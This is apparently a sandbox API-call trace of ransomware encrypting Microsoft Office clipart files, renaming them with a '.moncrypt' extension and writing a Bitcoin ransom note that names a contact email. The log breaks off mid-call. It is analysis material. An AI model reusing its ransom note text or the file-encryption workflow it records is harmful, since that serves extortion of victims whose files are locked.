CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01084_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.732] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.732] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.732] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", dwFileAttributes=0x20) returned 1 [0059.733] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.moncrypt")) returned 1 [0059.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.734] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.734] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x728 [0059.734] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.734] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x728, lpOverlapped=0x0) returned 1 [0059.736] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.736] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.736] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.736] GlobalUnlock (hMem=0x44000c) returned 0 [0059.736] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.736] GlobalUnlock (hMem=0x440004) returned 0 [0059.736] GlobalLock (hMem=0x440004) returned 0x550170 [0059.736] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.736] GlobalUnlock (hMem=0x440004) returned 0 [0059.736] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.737] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x740, lpOverlapped=0x0) returned 1 [0059.737] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.737] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.748] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.748] CloseHandle (hObject=0x188) returned 1 [0059.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.749] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.749] CloseHandle (hObject=0x188) returned 1 [0059.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.749] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.750] GlobalLock (hMem=0x440004) returned 0x550170 [0059.750] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.750] GlobalUnlock (hMem=0x440004) returned 0 [0059.750] GlobalLock (hMem=0x440004) returned 0x550170 [0059.750] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.750] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.750] GlobalUnlock (hMem=0x440004) returned 0 [0059.750] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.750] GlobalUnlock (hMem=0x44000c) returned 0 [0059.750] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.750] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.756] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.756] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.757] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.757] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.757] CloseHandle (hObject=0x188) returned 1 [0059.757] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0059.757] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.757] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.757] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.757] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.757] GlobalUnlock (hMem=0x44000c) returned 0 [0059.757] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.757] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.758] GlobalUnlock (hMem=0x44000c) returned 0 [0059.758] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.758] GlobalUnlock (hMem=0x440004) returned 0 [0059.758] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.758] CharLowerBuffW (in: lpsz="AN01173_.WMF", cchLength=0xc | out: lpsz="an01173_.wmf") returned 0xc [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.758] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.758] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.758] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01173_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.759] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.759] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.759] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF", dwFileAttributes=0x20) returned 1 [0059.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.moncrypt")) returned 1 [0059.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.761] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.761] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x66dc [0059.761] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.761] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0059.763] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.763] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.763] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.764] GlobalUnlock (hMem=0x44000c) returned 0 [0059.764] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.764] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.764] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.764] GlobalUnlock (hMem=0x44000c) returned 0 [0059.764] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.764] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.764] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.764] GlobalUnlock (hMem=0x440004) returned 0 [0059.764] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.764] GlobalUnlock (hMem=0x44000c) returned 0 [0059.764] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.764] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.764] GlobalUnlock (hMem=0x44000c) returned 0 [0059.764] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.764] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.764] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.764] GlobalUnlock (hMem=0x44000c) returned 0 [0059.764] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0059.764] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.764] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0059.765] SetFilePointer (in: hFile=0x188, lDistanceToMove=26332, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x66dc [0059.765] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0059.765] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.765] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.776] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.777] CloseHandle (hObject=0x188) returned 1 [0059.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.778] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.778] CloseHandle (hObject=0x188) returned 1 [0059.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.778] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.778] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.778] GlobalUnlock (hMem=0x44000c) returned 0 [0059.778] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.778] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.779] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.779] GlobalUnlock (hMem=0x44000c) returned 0 [0059.779] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.779] GlobalUnlock (hMem=0x440004) returned 0 [0059.779] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.779] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.779] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.779] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.779] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, 